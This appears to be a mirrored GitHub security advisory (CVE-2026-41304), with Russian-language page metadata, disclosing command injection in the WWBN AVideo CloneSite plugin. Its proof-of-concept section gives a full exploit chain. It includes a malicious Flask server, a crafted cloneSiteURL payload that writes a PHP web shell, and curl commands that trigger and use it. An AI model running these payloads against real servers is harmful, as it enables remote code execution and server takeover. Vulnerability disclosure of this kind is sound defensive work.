GHSA-xr6f-h4x7-r6qp

Опубликовано: 16 апр. 2026

Источник: github

Github: Прошло ревью

CVSS4: 8.7

CVSS3: 9.8

Описание

WWBN AVideo: RCE cause by clonesite plugin

Description

Summary

The cloneServer.json.php endpoint in the CloneSite plugin constructs shell commands using user-controlled input (url parameter) without proper sanitization. The input is directly concatenated into a wget command executed via exec(), allowing command injection.

An attacker can inject arbitrary shell commands by breaking out of the intended URL context using shell metacharacters (e.g., ;). This leads to Remote Code Execution (RCE) on the server.

Details

Inside plugin/CloneSite/cloneClient.json.php(line112) didn't have proper sanitization

$objClone->cloneSiteURL = str_replace("'", '', escapeshellarg($objClone->cloneSiteURL));

use str_replace make ' added by escapeshellarg become so hacker can inject evil cloneSiteURL to rce

$sqlURL = "{$objClone->cloneSiteURL}videos/clones/{$json->sqlFile}"; \\116 $cmd = "wget -O {$sqlFile} {$sqlURL}"; \\117 exec($cmd . " 2>&1", $output, $return_val); \\119

The attack flow

make a evil site to provide date
add evil url in objects/pluginAddDataObject.json.php
access plugin/CloneSite/cloneClient.json.php to trigger rce

Poc

make a evil site use python like this

from flask import Flask, jsonify, request app = Flask(__name__) @app.route('/', defaults={'path': ''}) @app.route('/<path:path>') def catch_all(path): print("PATH:", path) return jsonify({ "error": False, "msg": "", "url": "http://target-site.com/", "key": "target_clone_key", "useRsync": 0, "videosDir": "/var/www/html/AVideo/videos/", "sqlFile": "Clone_mysqlDump_evil123.sql", "videoFiles": [], "photoFiles": [] }) if __name__ == '__main__': app.run(host='0.0.0.0', port=8071)

change url with payload like (need admin)

curl -b 'PHPSESSID=<admin_session>' -X POST "http://127.0.0.1/objects/pluginAddDataObject.json.php" \ -H "Content-Type: application/json" \ -d '{ "cloneSiteURL":"http://127.0.0.1:8071/;echo${IFS}\"<?=system(\\$_POST[1])?>\"${IFS}>1.php;/", "cloneSiteSSHIP":"127.0.0.1", "cloneSiteSSHUser":"1", "cloneSiteSSHPort":"22", "cloneSiteSSHPassword":{ "type":"encrypted", "value":"cU1SVkhSVkxqMmxDZlUrSFhNZnRvcFBtTmI3UXNGZ0VFVWxlLzdJL0pjWGFiVXgyb2Iyci9OOE5LN0p6TmN6Zg==" }, "useRsync":true, "MaintenanceMode":false, "myKey":"ba882541262f3202ee5a5ad790ae5b70" }' #inject evil code curl "http://127.0.0.1/plugin/CloneSite/cloneClient.json.php" #trigger rce to write 1.php curl "http://127.0.0.1/plugin/CloneSite/1.php" -d '1=id' #uid=33(www-data) gid=33(www-data) groups=33(www-data) uid=33(www-data) gid=33(www-data) groups=33(www-data)

this payload is to create a web shell

then access plugin/CloneSite/cloneClient.json.php

1.phpwill be created

impact

Remote Code Execution: An attacker can write arbitrary PHP code to any writable web-accessible directory, achieving full server compromise.
Full server compromise: With arbitrary PHP execution as the web server user, the attacker can read/modify the database, access all user data, pivot to other services, and potentially escalate privileges on the host.

Recommended Fix

add more powerful sanitization for $objClone->cloneSiteURL

Ссылки

Пакеты

Наименование

wwbn/avideo

composer

Затронутые версииВерсия исправления

<= 29.0

Отсутствует

EPSS

Процентиль: 81%

0.02221

Низкий

8.7 High

CVSS4

9.8 Critical

CVSS3

CVE ID

CVE-2026-41304

Дефекты

CWE-77

CWE-78

Связанные уязвимости

CVE-2026-41304

CVSS3: 9.8

nvd

4 месяца назад

WWBN AVideo is an open source video platform. In versions 29.0 and below, the `cloneServer.json.php` endpoint in the CloneSite plugin constructs shell commands using user-controlled input (`url` parameter) without proper sanitization. The input is directly concatenated into a `wget` command executed via `exec()`, allowing command injection. An attacker can inject arbitrary shell commands by breaking out of the intended URL context using shell metacharacters (e.g., `;`). This leads to Remote Code Execution (RCE) on the server. Commit 473c609fc2defdea8b937b00e86ce88eba1f15bb contains a fix.

EPSS

Процентиль: 81%

0.02221

Низкий

8.7 High

CVSS4

9.8 Critical

CVSS3

CVE ID

CVE-2026-41304

Дефекты

CWE-77

CWE-78